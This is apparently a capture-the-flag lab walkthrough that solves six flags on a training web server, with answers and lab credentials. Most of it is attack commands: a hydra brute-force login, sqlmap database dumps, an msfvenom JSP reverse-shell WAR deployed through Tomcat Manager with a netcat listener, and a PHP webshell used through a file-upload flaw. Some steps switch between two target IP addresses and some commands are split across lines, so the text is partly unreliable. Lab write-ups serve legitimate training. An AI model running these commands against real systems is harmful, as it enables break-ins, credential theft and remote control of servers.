

FLAG 1 — Brute Force

1. Open Firefox on your VAPT machine and navigate to <http://192.168.5.167>

2. Open a terminal and run:

```
hydra -l admin -P /usr/share/wordlist/rockyou.txt 172.22.1.167 http-post-form  
"/login.php:username=^USER^&password=^PASS^:S=dashboard.php" -V -f
```

3. Note the cracked credentials: admin / purple1

4. Go back to Firefox, enter admin / purple1, and click Access Workspace

5. Scroll down on the webpage — FLAG1{BRUTE_FORCE_ADMIN_PURPLE1_LOGIN}

6. Sign out of the website.

FLAG 2 — SQL Injection

1. Open a terminal and run:

```
sqlmap -u "http://192.168.5.167/login.php" --data="username=admin&password=purple1" -  
p username --batch --current-db
```

2. Scroll down, and note the database name from the output (campus_ops). Now run:

```
sqlmap -u "http://192.168.5.167/login.php" --data="username=admin&password=purple1" -p  
username --batch -D campus_ops --tables
```

3. Note the users table. Now dump the user column:

```
sqlmap -u "http://192.168.5.167/login.php" --data="username=admin&password=purple1" -p  
username --batch -D campus_ops -T users -C user --dump
```

4. Scroll through the output: FLAG2{SQLMAP_DUMPED_USER_FIELD_FROM_DATABASE}

FLAG 3 — Ransomware Encryption (Decrypt)

1. Open Firefox, go to <http://192.168.5.167>, log in with admin / purple1

2. Click on System Archives and note the two files listed

3. Open a terminal and download both files:

```
wget http://192.168.5.167/backup/campus_archive_2026_05_31.enc
```

```
wget http://172.22.1.167/backup/vault.key
```

4. Decrypt the .enc file using OpenSSL:

```
openssl enc -d -aes-256-cbc -pbkdf2 -in campus_archive_2026_05_31.enc -out restored.txt -pass file:vault.key
```

5. Read restored.txt — FLAG3{DIRECTORY_BACKUP_ARCHIVE_DECRYPTED}

FLAG 4 — Apache Tomcat RCE (Reverse Shell)

1. On the homepage of 192.168.5.167, click Application Console → Manager App

2. Enter credentials admin / purple1 when the popup appears

3. In a terminal, check your VAPT machine IP (the 192.168.5.X address):

```
ip a
```

4. Start a Netcat listener in that terminal:

```
nc -lvnp 4444
```

5. Open a second terminal and create the malicious WAR file (replace X with your IP octet):

```
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.5.X LPORT=4444 -f war -o shell.war
```

6. Back in Firefox (Tomcat Manager), click Browse, select shell.war, and click Deploy

7. Click on the newly deployed /shell application in the Tomcat Manager list

8. Switch to the terminal running the listener — you now have a reverse shell

9. Run the following in the shell:

```
ls  
  
cat flag.txt
```

10. Output contains — FLAG4{TOMCAT_MANAGER_WAR_REVERSE_SHELL_ACCESS}

FLAG 5 — File Upload Vulnerability

1. Create a PHP webshell:

```
sudo nano cmd.php
```

Password: P@ssw0rd@1

2. Type the following inside the file, then save and exit:

```
<?php system($_GET['cmd']); ?>
```

3. Open Firefox, go to <http://192.168.5.167>, click Document Intake

4. Browse to cmd.php, click Submit Document — note the upload path shown (you will get a notification below):

```
/var/www/internal/.service_cache
```

5. Click on the storage path link that appears on the page

6. In the URL bar, type:

```
http://192.168.5.167/storage/uploads/cmd.php?cmd=cat /var/www/internal/.service_cache
```

7. Page output contains — FLAG5{FILE_UPLOAD_READ_INTERNAL_SERVICE_CACHE}

FLAG 6 — APT32 Log Decryption (Base64)

1. Open Firefox, go to <http://192.168.5.167>, click Endpoint Events

2. Scroll to the bottom — find the source named proxy-01 with an event labeled session metadata containing a Base64 string

3. Copy that Base64 string

4. Open a terminal and decode it (replace the placeholder with the copied string):

```
echo -n "PASTE_BASE64_HERE" | base64 -d
```

5. Decoded output contains — FLAG6{APT32_INTRUSION_THREAD_DECODED}